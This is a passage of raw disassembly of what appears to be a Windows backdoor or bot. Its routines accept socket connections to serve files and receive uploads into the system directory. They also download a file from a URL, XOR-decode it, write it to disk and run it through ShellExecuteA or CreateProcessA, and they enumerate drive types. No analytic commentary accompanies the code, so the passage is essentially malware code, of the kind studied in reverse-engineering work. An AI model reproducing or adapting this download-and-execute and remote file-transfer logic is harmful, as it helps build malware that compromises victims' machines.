		call	dword_44CC28	; ntohs
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_413E90
		pop	ecx


loc_409E7C:				; CODE XREF: sub_409DBE+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_409E8F
		push	5Fh
		pop	eax
		jmp	short loc_409E92
; ---------------------------------------------------------------------------


loc_409E8F:				; CODE XREF: sub_409DBE+CAj
		movsx	eax, al


loc_409E92:				; CODE XREF: sub_409DBE+CFj
		mov	[ebp+ecx+var_504], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_413E90
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_409E7C
		push	ebx
		push	edi
		call	dword_44CD04	; listen
		test	eax, eax
		jz	short loc_409EC5
		push	offset unk_428CB4
		jmp	loc_409FC5
; ---------------------------------------------------------------------------


loc_409EC5:				; CODE XREF: sub_409DBE+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_41F05C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_409EEF
		push	offset unk_428DE0
		jmp	loc_409FC5
; ---------------------------------------------------------------------------


loc_409EEF:				; CODE XREF: sub_409DBE+125j
		push	esi
		push	eax
		call	dword_41F074	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		push	eax
		call	dword_44CCD8	; ntohl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	offset dword_428DC8
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_2FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40B2B5
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_400]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_3FC], edi
		mov	[ebp+var_400], ebx
		call	dword_44CCC4	; select
		test	eax, eax
		jg	short loc_409F9F
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_428D9C
		push	eax
		push	[ebp+var_1FC]
		call	sub_40B2B5
		jmp	loc_40A0C3
; ---------------------------------------------------------------------------


loc_409F9F:				; CODE XREF: sub_409DBE+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_44CD6C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_409FD8
		push	offset unk_428D68


loc_409FC5:				; CODE XREF: sub_409DBE+49j
					; sub_409DBE+87j ...
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_40A0C6
; ---------------------------------------------------------------------------


loc_409FD8:				; CODE XREF: sub_409DBE+200j
		push	edi
		call	dword_44CD70	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40A08A
		mov	edi, 400h


loc_409FED:				; CODE XREF: sub_409DBE+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_409FFA
		mov	[ebp+var_4], eax


loc_409FFA:				; CODE XREF: sub_409DBE+237j
		push	edi
		lea	eax, [ebp+var_904]
		push	esi
		push	eax
		call	sub_413890
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_41F094	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_904]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_41F090	; ReadFile
		push	esi
		lea	eax, [ebp+var_904]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_44CD28	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_904]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_44CCF4	; recv
		cmp	eax, ebx
		jl	loc_40A11F
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40A11F
		sub	[ebp+arg_0], eax
		jnz	loc_409FED
		mov	edi, [ebp+var_18]


loc_40A08A:				; CODE XREF: sub_409DBE+224j
		push	[ebp+var_8]
		call	dword_41F058	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2FC]
		push	offset unk_428D14
		push	eax
		call	sub_413812


loc_40A0C3:				; CODE XREF: sub_409DBE+1DCj
		add	esp, 14h


loc_40A0C6:				; CODE XREF: sub_409DBE+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40A0EB
		push	esi
		lea	eax, [ebp+var_2FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40B2B5
		add	esp, 14h


loc_40A0EB:				; CODE XREF: sub_409DBE+30Bj
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_409833
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40A103
		push	edi
		call	dword_44CD70	; closesocket


loc_40A103:				; CODE XREF: sub_409DBE+33Cj
		push	[ebp+var_1F8]
		call	dword_44CD70	; closesocket
		push	[ebp+var_58]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread


loc_40A11F:				; CODE XREF: sub_409DBE+2AFj
					; sub_409DBE+2BAj
		push	esi
		mov	esi, offset dword_428CE8
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40B2B5
		push	esi
		call	sub_409833
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_44CD70	; closesocket
		push	[ebp+var_58]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread
sub_409DBE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A160	proc near		; DATA XREF: sub_40CC09+7B7o

var_13C4	= byte ptr -13C4h
var_3C4		= byte ptr -3C4h
var_2C0		= dword	ptr -2C0h
var_2B8		= byte ptr -2B8h
var_2A4		= byte ptr -2A4h
var_1A0		= byte ptr -1A0h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_10C		= byte ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 13C4h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_2C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_3C4]
		push	104h
		push	eax
		call	dword_41F0FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_2A4]
		push	eax
		lea	eax, [ebp+var_3C4]
		push	eax
		lea	eax, [ebp+var_3C4]
		push	offset aSS_4	; "%s%s"
		push	eax
		call	sub_413812
		add	esp, 10h
		lea	eax, [ebp+var_3C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_41F05C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A1EA
		push	offset unk_428F44
		jmp	short loc_40A233
; ---------------------------------------------------------------------------


loc_40A1EA:				; CODE XREF: sub_40A160+81j
		push	eax
		call	dword_41F058	; CloseHandle
		lea	eax, [ebp+var_3C4]
		push	offset off_428F40
		push	eax
		call	sub_414F8F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40A212
		push	offset unk_428F04
		jmp	short loc_40A233
; ---------------------------------------------------------------------------


loc_40A212:				; CODE XREF: sub_40A160+A9j
		push	[ebp+var_120]
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_409B77
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40A246
		push	offset unk_428ED0


loc_40A233:				; CODE XREF: sub_40A160+88j
					; sub_40A160+B0j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_40A346
; ---------------------------------------------------------------------------


loc_40A246:				; CODE XREF: sub_40A160+CCj
		mov	esi, 1000h


loc_40A24B:				; CODE XREF: sub_40A160+151j
		push	esi
		lea	eax, [ebp+var_13C4]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_13C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_44CCF4	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A318
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40A2B3
		push	[ebp+var_4]
		lea	eax, [ebp+var_13C4]
		push	edi
		push	1
		push	eax
		call	sub_4158DF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_44CCD8	; ntohl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		jmp	short loc_40A24B
; ---------------------------------------------------------------------------


loc_40A2B3:				; CODE XREF: sub_40A160+11Bj
		lea	eax, [ebp+var_10C]
		push	offset dword_428CE8
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_10C]
		push	[ebp+var_118]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+var_2C0]
		call	sub_40B2B5
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_409833
		push	[ebp+var_4]
		call	sub_414E31
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_44CD70	; closesocket
		push	[ebp+var_11C]
		call	sub_4135DA
		pop	ecx
		push	1
		call	dword_41F040	; ExitThread


loc_40A318:				; CODE XREF: sub_40A160+112j
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40A927
		push	eax
		lea	eax, [ebp+var_2A4]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_10C]
		push	offset unk_428E7C
		push	eax
		call	sub_413812
		add	esp, 1Ch


loc_40A346:				; CODE XREF: sub_40A160+E1j
		cmp	[ebp+var_114], ebx
		jnz	short loc_40A371
		push	ebx
		lea	eax, [ebp+var_10C]
		push	[ebp+var_118]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+var_2C0]
		call	sub_40B2B5
		add	esp, 14h


loc_40A371:				; CODE XREF: sub_40A160+1ECj
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_409833
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40A38C
		push	[ebp+var_4]
		call	sub_414E31
		pop	ecx


loc_40A38C:				; CODE XREF: sub_40A160+221j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40A39A
		push	[ebp+arg_0]
		call	dword_44CD70	; closesocket


loc_40A39A:				; CODE XREF: sub_40A160+22Fj
		push	[ebp+var_11C]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread
sub_40A160	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3AD	proc near		; DATA XREF: sub_40CC09+33AEo
					; sub_40CC09+3A22o

var_490		= qword	ptr -490h
var_484		= qword	ptr -484h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_38C		= byte ptr -38Ch
var_28C		= byte ptr -28Ch
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= dword	ptr -178h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
var_168		= dword	ptr -168h
var_15C		= dword	ptr -15Ch
var_13C		= dword	ptr -13Ch
var_138		= word ptr -138h
var_124		= byte ptr -124h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_410]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_38C]
		push	esi
		push	eax
		push	dword_44CC90
		call	dword_44CBFC	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40A881
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_28C]
		push	40000000h
		push	eax
		call	dword_41F05C	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40A47D
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_124]
		push	offset unk_4291DC
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_174], esi
		jnz	short loc_40A45D
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		add	esp, 14h


loc_40A45D:				; CODE XREF: sub_40A3AD+8Bj
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		push	[ebp+var_18C]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread


loc_40A47D:				; CODE XREF: sub_40A3AD+68j
		xor	edi, edi
		call	dword_41F044	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_413F0B
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40A497:				; CODE XREF: sub_40A3AD+1CCj
		push	0FFh
		lea	eax, [ebp+var_124]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	[ebp+var_18]
		call	dword_44CC04	; InternetReadFile
		cmp	[ebp+var_178], esi
		jz	short loc_40A4DE
		push	[ebp+arg_0]
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_40A8F0
		pop	ecx
		pop	ecx


loc_40A4DE:				; CODE XREF: sub_40A3AD+11Ej
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_124]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_41F054	; WriteFile
		cmp	edi, ebx
		jnb	short loc_40A51C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40A506
		mov	eax, [ebp+arg_0]


loc_40A506:				; CODE XREF: sub_40A3AD+154j
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_4138F0
		add	esp, 0Ch


loc_40A51C:				; CODE XREF: sub_40A3AD+14Bj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_180], esi
		jz	short loc_40A52F
		cmp	edi, [ebp+var_180]
		ja	short loc_40A57F


loc_40A52F:				; CODE XREF: sub_40A3AD+178j
		cmp	[ebp+var_188], 1
		mov	eax, edi
		jz	short loc_40A54C
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset unk_429194
		jmp	short loc_40A55C
; ---------------------------------------------------------------------------


loc_40A54C:				; CODE XREF: sub_40A3AD+18Bj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset unk_429154


loc_40A55C:				; CODE XREF: sub_40A3AD+19Dj
		mov	eax, [ebp+var_18C]
		imul	eax, 134h
		add	eax, offset dword_452028
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40A497


loc_40A57F:				; CODE XREF: sub_40A3AD+180j
		cmp	[ebp+var_180], esi
		mov	[ebp+var_14], 1
		jz	short loc_40A5E0
		cmp	edi, [ebp+var_180]
		jz	short loc_40A5E0
		push	[ebp+var_180]
		lea	eax, [ebp+var_124]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_429110
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		add	esp, 28h


loc_40A5E0:				; CODE XREF: sub_40A3AD+1DFj
					; sub_40A3AD+1E7j
		call	dword_41F044	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_41F058	; CloseHandle
		push	[ebp+var_1C]
		call	sub_413F7F
		cmp	[ebp+var_17C], esi
		pop	ecx
		jz	short loc_40A676
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_409B05
		cmp	eax, [ebp+var_17C]
		pop	ecx
		jz	short loc_40A676
		push	[ebp+var_17C]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_124]
		push	offset unk_4290D8
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		add	esp, 28h


loc_40A676:				; CODE XREF: sub_40A3AD+268j
					; sub_40A3AD+27Dj
		cmp	[ebp+var_14], esi
		jz	loc_40A8D4
		cmp	[ebp+var_188], 1
		jz	loc_40A783
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_41F658
		lea	eax, [ebp+var_28C]
		fstp	[esp+484h+var_484]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_124]
		fmul	dbl_41F658
		fstp	[esp+490h+var_490]
		push	offset unk_429090
		push	eax
		call	sub_413812
		add	esp, 1Ch
		cmp	[ebp+var_174], esi
		jnz	short loc_40A6FA
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		add	esp, 14h


loc_40A6FA:				; CODE XREF: sub_40A3AD+328j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		cmp	[ebp+var_184], 1
		pop	ecx
		jnz	loc_40A8D4
		push	5
		push	esi
		lea	eax, [ebp+var_28C]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_44CC5C	; ShellExecuteA
		cmp	[ebp+var_174], esi
		jnz	loc_40A8D4
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_124]
		push	offset dword_42905C
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		add	esp, 24h
		jmp	loc_40A8D4
; ---------------------------------------------------------------------------


loc_40A783:				; CODE XREF: sub_40A3AD+2D9j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_41F658
		lea	eax, [ebp+var_28C]
		fstp	[esp+484h+var_484]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_124]
		fmul	dbl_41F658
		fstp	[esp+490h+var_490]
		push	offset unk_42900C
		push	eax
		call	sub_413812
		add	esp, 1Ch
		cmp	[ebp+var_174], esi
		jnz	short loc_40A7F1
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		add	esp, 14h


loc_40A7F1:				; CODE XREF: sub_40A3AD+41Fj
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_168]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413890
		add	esp, 1Ch
		mov	[ebp+var_168], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_15C], offset byte_438A10
		push	1
		mov	[ebp+var_138], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_168]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_28C]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_13C], edi
		call	dword_41F0D4	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40A873
		call	dword_44CC48	; WSACleanup
		call	sub_408701
		push	esi
		call	dword_41F104	; ExitProcess


loc_40A873:				; CODE XREF: sub_40A3AD+4B2j
		lea	eax, [ebp+var_28C]
		push	eax
		push	offset unk_428FC0
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A881:				; CODE XREF: sub_40A3AD+45j
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset unk_428F84


loc_40A88D:				; CODE XREF: sub_40A3AD+4D2j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_174], esi
		jnz	short loc_40A8C7
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		add	esp, 14h


loc_40A8C7:				; CODE XREF: sub_40A3AD+4F5j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		pop	ecx


loc_40A8D4:				; CODE XREF: sub_40A3AD+2CCj
					; sub_40A3AD+361j ...
		push	[ebp+var_18]
		call	dword_44CD0C	; InternetCloseHandle
		push	[ebp+var_18C]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread
sub_40A3AD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_40A3AD+12Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40A90C


loc_40A8FC:				; CODE XREF: sub_40A8F0+1Aj
		mov	dl, byte_42A334
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40A8FC

locret_40A90C:				; CODE XREF: sub_40A8F0+Aj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A90D	proc near		; CODE XREF: sub_40CC09+2627p
					; sub_40CC09+274Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4159E9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40A90D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A927	proc near		; CODE XREF: sub_40517E+469p
					; sub_40517E+60Ep ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_450FA8
		push	0
		push	edi
		call	sub_413890
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40A94C:				; CODE XREF: sub_40A927+5Bj
					; sub_40A927+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_415540
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4155C0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40A98A
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40A94C
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40A94C
; ---------------------------------------------------------------------------


loc_40A98A:				; CODE XREF: sub_40A927+4Bj
		dec	esi
		mov	eax, edi


loc_40A98D:				; CODE XREF: sub_40A927+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40A99C
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40A98D
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A927+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A927	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9A6	proc near		; CODE XREF: sub_40AB52+54p
					; sub_40AB52+8Dp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_44CD38	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40A9E9
		dec	eax
		jz	short loc_40A9E3
		dec	eax
		dec	eax
		jz	short loc_40A9DD
		dec	eax
		jz	short loc_40A9D7
		dec	eax
		jz	short loc_40A9D1
		dec	eax
		jz	short loc_40A9CB
		mov	eax, offset word_428AC4
		retn
; ---------------------------------------------------------------------------


loc_40A9CB:				; CODE XREF: sub_40A9A6+1Dj
		mov	eax, offset off_42923C
		retn
; ---------------------------------------------------------------------------


loc_40A9D1:				; CODE XREF: sub_40A9A6+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40A9D7:				; CODE XREF: sub_40A9A6+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40A9DD:				; CODE XREF: sub_40A9A6+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40A9E3:				; CODE XREF: sub_40A9A6+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40A9E9:				; CODE XREF: sub_40A9A6+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40A9A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9EF	proc near		; CODE XREF: sub_40AA37+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_44CBE8
		test	eax, eax
		jz	short loc_40AA24
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_40AA24:				; CODE XREF: sub_40A9EF+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40A9EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA37	proc near		; CODE XREF: sub_4093C1+1F3p
					; sub_40AB52+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
